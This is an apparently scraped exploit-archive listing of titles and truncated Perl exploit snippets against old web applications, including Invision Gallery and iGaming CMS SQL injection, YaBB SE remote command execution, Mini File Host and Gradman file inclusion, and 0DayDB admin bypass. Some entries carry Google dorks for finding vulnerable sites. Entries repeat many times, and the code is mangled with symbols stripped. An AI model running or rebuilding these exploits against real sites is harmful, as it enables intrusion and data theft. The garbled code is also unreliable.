igal207-sql.txt

!/usr/bin/perl Invision Gallery version "r57ig207" ; $mw-geometry '420x510' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Gallery 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack; $fleft=$mw-Frame-pack -side = 'left', -anchor =...

YaBB SE <= 1.5.5 Remote Command Execution Exploit

Exploit for unknown platform in category web applications ================================================= YaBB SE new; $top-title"r57yabbse155ceGUI"; $top-resizable0,0; $url = 'http://server/forum/index.php'; $id = '1'; $cookiename = 'YaBBSE155'; $cmd = 'ls -la; id; uname -a;'; $button1text =...

Invision Gallery 2.0.7 - SQL Injection

Invision Gallery 2.0.7 - SQL Injection !/usr/bin/perl Invision Gallery version "r57ig207" ; $mw-geometry '420x510' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Gallery 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack;...

Invision Gallery 2.0.7 - SQL Injection

!/usr/bin/perl Invision Gallery version "r57ig207" ; $mw-geometry '420x510' ; $mw-resizable0,0; $mw-Label-text = '!', -font = 'Webdings 22'-pack; $mw-Label-text = 'Invision Gallery 'Verdana 7 bold',-foreground='red'-pack; $mw-Label-text = ''-pack; $fleft=$mw-Frame-pack -side = 'left', -anchor =...

YaBB SE 1.5.5 - Remote Command Execution

!/usr/bin/perl YaBB SE version new; $top-title"r57yabbse155ceGUI"; $top-resizable0,0; $url = 'http://server/forum/index.php'; $id = '1'; $cookiename = 'YaBBSE155'; $cmd = 'ls -la; id; uname -a;'; $button1text = 'Found admin ID'; $foundadminid = \ $stop = 0; $xpl = LWP::UserAgent-new or die;...

Mini File Host 1.2.1 (upload.php language) Local File Inclusion Exploit

No description provided by source. !/usr/bin/perl Name: Mini File Host 1.2.1 "Security Fixed release" and earlier Vulnerability type: Local File Inclusion through POST requests pages/upload.php Authors: Scary-Boys: original GET-vulnerability, 2008-01-17 shinmai: POST-request vulnerability in late...

Mini File Host 1.2.1 - 'language' Local File Inclusion

!/usr/bin/perl Name: Mini File Host 1.2.1 "Security Fixed release" and earlier Vulnerability type: Local File Inclusion through POST requests pages/upload.php Authors: Scary-Boys: original GET-vulnerability, 2008-01-17 shinmai: POST-request vulnerability in latest version perl POC, 2008-01-19...

Gradman <= 0.1.3 (agregar_info.php) Local File Inclusion Exploit

Exploit for unknown platform in category web applications ================================================================ Gradman = 0.1.3 agregarinfo.php Local File Inclusion Exploit ================================================================ --==+=================== Spanish Hackers Team...

agares221-sql.txt

!/usr/bin/perl Agares PhpAutoVideo 2.21 articlecat Remote SQL Injection Exploit Bug Found by ka0x http://milw0rm.org/exploits/4901 .. but sql injection works if we include in index.php bug file with sql injection..like this :...

Agares PhpAutoVideo 2.21 (articlecat) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Agares PhpAutoVideo 2.21 articlecat Remote SQL Injection Exploit Bug Found by ka0x http://milw0rm.org/exploits/4901 .. but sql injection works if we include in index.php bug file with sql injection..like this :...

photokron-disclose.txt

!/usr/bin/perl Script : PhotoKron All Version All Version Author : Pr0metheuS Gr33tz to Gr33tz-Team Gr33tz-Team.ORG Dork : "Powered by photokorn" INFO Works IF /update/ is on server...60% site are vulnerable.... INFO use LWP::UserAgent; if @ARGV!=2 print "-=-=-=-=-=-=-=-=-=-=-=--=\n"; print...

0DayDB-bypass.txt

!/usr/bin/perl Autor : Pr0metheuS Script : 0DayDB v2.3 Version : v2.3 Dork : "Powered By 0DayDB v2.3" Gr33tz-Team.org use LWP::UserAgent; if@ARGV!=3 print "\n"; print "0DayDB v2.3 Remote Admin Bypass\n"; print "perl $0 \n"; print "downloads ID for delete\n"; print "\n"; $site,$path,$id=@ARGV; sub...

0DayDB 2.3 (delete id) Remote Admin Bypass Exploit

Exploit for unknown platform in category web applications ================================================== 0DayDB 2.3 delete id Remote Admin Bypass Exploit ================================================== !/usr/bin/perl Autor : Pr0metheuS Script : 0DayDB v2.3 Version : v2.3 Dork : "Powered By...

iGaming CMS &lt;= 1.3.1/1.5 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "UnderWHAT?!" ; $mw-geometry '395x180' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 2',-foreground='red'-pack; $mw-Label-text = 'iGaming c...

0DayDB 2.3 - id Remote Authentication Bypass

0DayDB 2.3 - id Remote Authentication Bypass !/usr/bin/perl Autor : Pr0metheuS Script : 0DayDB v2.3 Version : v2.3 Dork : "Powered By 0DayDB v2.3" Gr33tz-Team.org use LWP::UserAgent; if@ARGV!=3 print "\n"; print "0DayDB v2.3 Remote Admin Bypass\n"; print "perl $0 \n"; print "downloads ID for...

iGaming CMS <= 1.3.1/1.5 Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ===================================================== iGaming CMS "UnderWHAT?!" ; $mw-geometry '395x180' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 2',-foreground='red'-pack; $mw-Label-text = 'iGaming cms 'Tahoma 7...

iGaming CMS 1.3.11.5 - SQL Injection

iGaming CMS 1.3.11.5 - SQL Injection !/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "UnderWHAT?!" ; $mw-geometry '395x180' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 2',-foreground='red'-pack; $mw-Label-text = 'iGaming...

iGaming CMS &lt;= 1.3.1 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "UnderWHAT?!" ; $mw-geometry '395x180' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 2',-foreground='red'-pack; $mw-Label-text = 'iGaming c...

photokron 1.7 - Remote Database Disclosure

!/usr/bin/perl Script : PhotoKron All Version All Version Author : Pr0metheuS Gr33tz to Gr33tz-Team Gr33tz-Team.ORG Dork : "Powered by photokorn" INFO Works IF /update/ is on server...60% site are vulnerable.... INFO use LWP::UserAgent; if @ARGV!=2 print "-=-=-=-=-=-=-=-=-=-=-=--=\n"; print...

iGaming CMS 1.3.1/1.5 - SQL Injection

!/usr/bin/perl use Tk; use Tk::BrowseEntry; use Tk::DialogBox; use LWP::UserAgent; $mw = new MainWindowtitle = "UnderWHAT?!" ; $mw-geometry '395x180' ; $mw-resizable0,0; $mw-Label-text = '', -font = 'Verdana 2',-foreground='red'-pack; $mw-Label-text = 'iGaming cms 'Tahoma 7...